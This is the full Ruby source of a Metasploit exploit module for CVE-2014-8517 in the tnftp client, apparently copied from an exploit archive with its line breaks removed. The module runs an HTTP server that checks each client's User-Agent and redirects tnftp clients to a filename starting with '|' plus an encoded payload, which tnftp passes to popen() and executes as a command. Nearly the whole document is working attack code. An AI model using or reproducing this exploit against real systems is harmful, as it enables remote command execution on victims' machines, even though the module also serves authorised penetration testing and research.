tnftp – ‘savefile’ Arbitrary Command Execution (Metasploit)
## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpServer include Msf::Auxiliary::Report def initialize(info = {}) super(update_info(info, 'Name' => 'tnftp "savefile" Arbitrary Command Execution', 'Description' => %q{ This module exploits an arbitrary command execution vulnerability in tnftp's handling of the resolved output filename - called "savefile" in the source - from a requested resource. If tnftp is executed without the -o command-line option, it will resolve the output filename from the last component of the requested resource. If the output filename begins with a "|" character, tnftp will pass the fetched resource's output to the command directly following the "|" character through the use of the popen() function. }, 'Author' => [ 'Jared McNeill', # Vulnerability discovery 'wvu' # Metasploit module ], 'References' => [ ['CVE', '2014-8517'], ['URL', 'http://seclists.org/oss-sec/2014/q4/459'] ], 'DisclosureDate' => 'Oct 28 2014', 'License' => MSF_LICENSE, 'Platform' => 'unix', 'Arch' => ARCH_CMD, 'Privileged' => false, 'Payload' => {'BadChars' => '/'}, 'Targets' => [['ftp(1)', {}]], 'DefaultTarget' => 0 )) end def on_request_uri(cli, request) unless request['User-Agent'] =~ /(tn|NetBSD-)ftp/ print_status("#{request['User-Agent']} connected") send_not_found(cli) return end if request.uri.ends_with?(sploit) send_response(cli, '') print_good("Executing `#{payload.encoded}'!") report_vuln( :host => cli.peerhost, :name => self.name, :refs => self.references, :info => request['User-Agent'] ) else print_status("#{request['User-Agent']} connected") print_status('Redirecting to exploit...') send_redirect(cli, sploit_uri) end end def sploit_uri (get_uri.ends_with?('/') ? get_uri : "#{get_uri}/") + Rex::Text.uri_encode(sploit, 'hex-all') end def sploit "|#{payload.encoded}" end end |